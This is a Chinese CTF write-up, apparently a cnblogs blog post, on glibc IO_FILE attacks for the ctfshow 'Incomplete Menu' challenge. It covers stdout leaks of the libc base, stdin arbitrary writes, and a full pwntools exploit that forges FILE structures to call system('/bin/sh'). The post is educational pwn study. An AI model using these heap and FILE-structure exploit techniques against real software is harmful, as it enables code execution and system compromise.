之前寫過一篇 IO_FILE——leak 任意讀,但是在學習的時候偷懶了,沒有深入去看,這次碰到 winmt 師傅出的題,就傻眼了,故再寫一篇部落格來記錄一下。
例題 ctfshow Incomplete Menu :
洞在 edit 裡,可以超過 size 進行一個置零的操作。
這裡還是考慮利用 _IO_2_1_stdout_ 來洩露 libc 基址。這裡就出現了一個在我上篇文章中忽略的知識點。上一篇文章是通過改 flag 的一系列操作來進行,而 _IO_2_1_stdout_ 還有另一種修改方式可以洩露 libc。及使 _IO_read_end == _IO_write_base,忽略源碼在下面:
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
還有本題還有不會的地方就是利用 _IO_2_1_stdin_ 進行任意寫,走 io 的函數在讀取資料時,會先判斷緩沖區是否有資料,如果有資料,無論是否滿足需要的數量,那麼就會走緩沖區直接先取出來用,再從使用者處讀進緩沖區。故我們不能讓 _IO_read_end > _IO_read_ptr
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
char *s = data;
want = n;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
if (have > 0)
{
s = __mempcpy (s, fp->_IO_read_ptr, have);
want -= have;
fp->_IO_read_ptr += have;
}
/* Check for backup and repeat */
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
continue;
}
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
/* These must be set before the sysread as we might longjmp out
waiting for input. */
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);
/* Try to maintain alignment: read a whole number of blocks. */
count = want;
if (fp->_IO_buf_base)
{
_IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
if (block_size >= 128)
count -= want % block_size;
}
count = _IO_SYSREAD (fp, s, count);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN;
break;
}
s += count;
want -= count;
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
}
}
return n - want;
}
需要注意的是本題是要控制 _IO_read_ptr - _IO_read_end < 16 ,至于為什麼,emmm也不是很好說,建議各位自己調試看看。
winmt師傅的exp:
from pwn import *
context(arch='amd64', log_level='debug')
io = process("./pwn")
elf = ELF('./pwn')
libc = ELF("./libc-2.27.so")
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset
def new(size):
io.sendlineafter(">> ", "1")
io.sendlineafter(">> ", str(size))
def edit(index, length, content):
io.sendlineafter(">> ", "2")
io.sendlineafter(">> ", str(index))
io.sendlineafter(">> ", str(length))
io.sendafter(">> ", content)
def new_x(size):
io.sendline("1")
sleep(0.1)
io.sendline(str(size))
def edit_x(index, length, content):
io.sendline("2")
sleep(0.1)
io.sendline(str(index))
sleep(0.1)
io.sendline(str(length))
sleep(0.1)
io.send(content)
new(0x200000);
edit(0, 0x201000 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x10 + 1, '\n')
new_x(0x200000);
edit_x(1, 0x201000 * 2 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x20 + 1, '\n')
libc_base = u64(io.recvline()[8:16]) - 0x3ed8b0
success("libc_base:\t" + hex(libc_base))
payload = p64(0)*5 + p64(1) + p64(0) + p64(libc_base + next(libc.search(b'/bin/sh')))
payload = payload.ljust(0xd8, b'\x00') + p64(libc_base + get_IO_str_jumps() - 8)
payload += p64(0) + p64(libc_base + libc.sym['system'])
new(0x200000);
edit(2, 0x201000 * 3 - 0x10 + libc.sym['_IO_2_1_stdin_'] + 0x38 + 1, payload)
payload = p64(0xfbad208b)
payload += p64(libc_base + libc.sym['_IO_list_all'] + 132)
payload += p64(libc_base + libc.sym['_IO_list_all']) * 6
payload += p64(libc_base + libc.sym['_IO_list_all'] + 0x10)
payload = payload.ljust(132, b'\x00') + p64(libc_base - (0x201000 * 3 - 0x10))
io.sendlineafter(">> ", payload)
io.interactive()
此外還有一個通過 stdout 的任意寫:
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
隻需把 _IO_write_ptr 改為想要寫入的首位址, _IO_write_end 指向寫入位址的結尾(或者大一些)即可。
本文來自部落格園,作者:{狒猩橙},轉載請注明原文連結:https://www.cnblogs.com/pwnfeifei/p/15923390.html